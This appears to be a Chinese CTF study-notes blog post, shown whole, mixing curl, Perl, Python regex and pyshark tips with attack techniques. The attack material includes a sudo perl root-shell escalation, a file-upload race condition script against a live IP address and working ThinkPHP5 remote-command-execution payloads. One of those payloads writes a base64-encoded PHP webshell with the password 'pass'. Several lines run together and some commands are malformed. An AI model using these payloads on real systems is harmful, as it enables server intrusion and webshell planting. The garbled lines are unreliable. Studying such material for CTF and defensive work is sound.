# 使用curl發(fā)送GET請(qǐng)求 $ curl http://127.0.0.1:8080/login?user=admin&passwd=12345678# 使用curl發(fā)送POST請(qǐng)求 $ curl -d "user=admin&passwd=12345678" http://127.0.0.1:8080/login2,指定http頭部信息 -H 可以指定多條頭部信息
$ curl -H "Content-Type:application/json" http://127.0.0.1:80803,抓取頁(yè)面:(--progress 可以顯示進(jìn)度條)()
curl -o test.html www.baidu.comcurl -O http://www.linux.com/hello.sh //注意大寫(xiě) O// 必須具體到url的某個(gè)文件才行4,?在訪問(wèn)需要授權(quán)的頁(yè)面時(shí),可通過(guò)-u選項(xiàng)提供用戶名和密碼進(jìn)行授權(quán)
curl -u admin http://taobao.com//之后會(huì)提示輸入密碼5,查公網(wǎng) ip:
curl cip.cc6,指定proxy服務(wù)器以及其端口
很多時(shí)候上網(wǎng)需要用到代理服務(wù)器(比如是使用代理服務(wù)器上網(wǎng)或者因?yàn)槭褂胏url別人網(wǎng)站而被別人屏蔽IP地址的時(shí)候),幸運(yùn)的是curl通過(guò)使用內(nèi)置option:-x來(lái)支持設(shè)置代理
# curl -x 192.168.100.100:1080 http://www.linux.com7,保存cookie
有些網(wǎng)站是使用cookie來(lái)記錄session信息。對(duì)于chrome這樣的瀏覽器,可以輕易處理cookie信息,但在curl中只要增加相關(guān)參數(shù)也是可以很容易的處理cookie,,執(zhí)行后cookie信息就被存到了cookiec.txt里面了
# curl -c cookiec.txt http://www.linux.com使用cookie
# curl -b cookiec.txt http://www.linux.com8,上傳文件
# curl -T dodo1.JPG -u 用戶名:密碼 ftp://www.linux.com/img/?
43, 查看 www-data用戶的 sudo權(quán)限
sudo -l可以看到 www-data 用戶可以使用 perl命令
使用Perl 命令提權(quán):
sudo perl -e "exec /bin/sh'bash -i //以交互模式運(yùn)行bash44,perl 常用命令:
Perl 是 Practical Extraction and Report Language 的縮寫(xiě),可翻譯為 "實(shí)用報(bào)表提取語(yǔ)言"。
Perl 是高級(jí)、通用、直譯式、動(dòng)態(tài)的程序語(yǔ)言。
用 perl 甚至可以寫(xiě)出比python更簡(jiǎn)單的腳本
1,執(zhí)行指定腳本
perl -e "print 43" //輸出 43perl -e "exec '/bin/sh'"也可以編寫(xiě)pl腳本 (首行需指定perl解釋器路徑 #!/usr/bin/perl)
執(zhí)行pl腳本? ./test.pl
2,檢查 pl腳本錯(cuò)誤
perl -c test.pl45,rar文件偽加密
在文件頭的第 二行的第7位 為 84 為加密 ,,80/20 不加密
?
46,python的 的 group函數(shù)
group函數(shù) 會(huì)返回 上條正則表達(dá)中 括號(hào)中匹配到的值
import re#定義了兩個(gè)group,因?yàn)榘瑑蓚€(gè)括號(hào) m = re.match("(\w+) (\w+)", "Isaac Newton, physicist")#group(0)就是匹配的整個(gè)結(jié)果 print(m.group(0)) #輸出結(jié)果為Isaac Newton#group(1)是第一個(gè)group的值 print(m.group(1)) #輸出結(jié)果為Isaac#group(2)是第二個(gè)group的值 print(m.group(2)) #輸出結(jié)果為Newton#groups返回所有的group,以元組的形式 print(m.groups()) #輸出結(jié)果為('Isaac','Newton')47, python 的切片
字符串的逆置:
n = "adfsfffss" print(n[::-1])切片從 右向左讀取
數(shù)組的逆置:
n = ['a','d','c','f']print(n.reverse())直接用 reverse函數(shù)進(jìn)行 數(shù)組的逆置
48,php中 chdir(‘uploaded’)函數(shù) 切換目錄為uploaded
?
49,文件上傳中的條件競(jìng)爭(zhēng):
一邊用? burp suite 上傳webshell文件,一邊用 腳本你訪問(wèn)webshell腳本,就會(huì)造成條件競(jìng)爭(zhēng)
burp suite 》intruder模塊 》 options 》把線程調(diào)為 30 》payloads 調(diào)為 Null payload 》把payloads 設(shè)置為 1000條
然后利用腳本訪問(wèn) 上傳的 webshell
import requests url = 'http://47.105.148.65:29002/uploads/457b055ce2a489dd334216ed0564f9351506d690/coold.php' while 1:r = requests.get(url)if 'flag' in r.text:print r.text或者? 抓兩次包,
一次上傳webshell ,發(fā)送到 intruder模塊?
一次 訪問(wèn) webshell 的地址,發(fā)送到 intruder模塊
50,php中的strstr()函數(shù):
strstr(string,search,before_search)
在字符串 string中 查看 子字符串search是否存在
第三個(gè)參數(shù) 默認(rèn)為 false? 如果設(shè)置為 "true",它將返回?search?參數(shù)第一次出現(xiàn)的位置前面的字符串
可以用大小寫(xiě)繞過(guò) strstr()函數(shù)
?
1,python中? pyshark庫(kù)的部分使用方法:
(1)提取流量包的摘要信息:
import pyshark cap = pyshark.FileCapture('test.pcap', only_summaries=True) print cap[69]#69 4.967058 127.0.0.1 127.0.0.1 HTTP 286 GET /?id=1'%20and%20ascii(substring((select%20keyid%20from%20flag%20limit%200,1),1,1))=35%23 HTTP/1.1(2)過(guò)濾器display_filter 和 bpf_filter
bpf_filter:
>>> cap = pyshark.LiveCapture(interface='en0', bpf_filter='ip and tcp port 80') >>> cap.sniff(timeout=5) >>> cap<LiveCapture (21 packets)> >>> print cap[5].highest_layer HTTPdisplay_filter:
>>> cap = pyshark.FileCapture('test.pcap', display_filter="dns") >>> for pkt in cap: ...: print pkt.highest_layer ...: DNS DNS DNS DNS DNS ... (truncated)(3)keeep_packets
PyShark只會(huì)在要對(duì)數(shù)據(jù)包進(jìn)行處理的時(shí)候才會(huì)將其讀入內(nèi)存。在你處理數(shù)據(jù)包的過(guò)程中,PyShark會(huì)將每個(gè)數(shù)據(jù)包添加到?capture?對(duì)象中叫?_packet?的列表屬性的末尾。當(dāng)處理大量的數(shù)據(jù)包時(shí),這個(gè)列表將占用大量的內(nèi)存,因此PyShark提供了這個(gè)選項(xiàng)使得內(nèi)存中一次僅保留一個(gè)數(shù)據(jù)包。
如果?keep_packets?設(shè)置為False(默認(rèn)為True),PyShark在讀取新數(shù)據(jù)包時(shí)會(huì)將上一個(gè)從內(nèi)存中清除。我發(fā)現(xiàn)這樣能提升一點(diǎn)數(shù)據(jù)包遍歷處理的速度
>>> cap = pyshark.FileCapture('test.pcap', keep_packets=False)(4)apply_on_packet() 方法 和 next()方法? ? ?循環(huán)遍歷數(shù)據(jù)包
next()方法使得?capture?對(duì)象可以通過(guò)for循環(huán)進(jìn)行遍歷。
apply_on_packets()?方法是另一種遍歷數(shù)據(jù)包的方式,它接受一個(gè)函數(shù)作為參數(shù)并將之作用于所有的數(shù)據(jù)包
2,python 中 pyc文件反編譯為py文件
uncompyle6 1.pyc >1.py說(shuō)明: pyc文件是py文件編譯后的文件,正常的代碼執(zhí)行不生成pyc文件,只有在 一個(gè)腳本被重復(fù)利用的時(shí)候才會(huì)生成pyc文件,比如,一個(gè)腳本被當(dāng)做 模塊調(diào)用后,就會(huì)生成該腳本一個(gè) pyc文件,
?
3,ThinkPHP5 的遠(yuǎn)程命令執(zhí)行漏洞
影響版本
ThinkPHP 5.0系列 < 5.0.23
ThinkPHP 5.1系列 < 5.1.31
方式一:(直接修改后面的命令)
?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id ?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php -r 'system("cat ../../../flag");'方式二:
post地址:http://anquanceshi.com/public/index.php?s=captcha
POST內(nèi)容:c=system&f=whoami&_method=filter
直接遠(yuǎn)程提交過(guò)去就會(huì)執(zhí)行我們的命令 whoami。查看返回的post數(shù)據(jù)就可以看到我們要看的信息。
在整體的所有版本中測(cè)試,thinkphp必須開(kāi)啟debug模式才可以寫(xiě)入webshell,寫(xiě)入的執(zhí)行代
碼是:_method=construct&filter[]=assert&filter[]=file_put_contents('0.php',base64_decode('JTNDJTI1ZXZhbCUyMHJlcXVlc3QlMjAlMjglMjJwYXNzJTIyJTI5JTI1JTNF'))&server=-1?
寫(xiě)入的是一句話木馬,連接密碼是pass.
有些低版本的網(wǎng)站,可以不使用captcha參數(shù)也可是執(zhí)行遠(yuǎn)程代碼,代碼如下:
_method=__construct&filter[]=system&method=GET&get[]=whoami
_method=__construct&filter[]=assert&server[]=phpinfo&get[]=phpinfo?
_method=__construct&filter[]=call_user_func&server[]=phpinfo&get[]=phpinfo
?
?
?
?
?
總結(jié)
- 上一篇: bugku——分析(流量分析)题解
- 下一篇: 靶场提权记录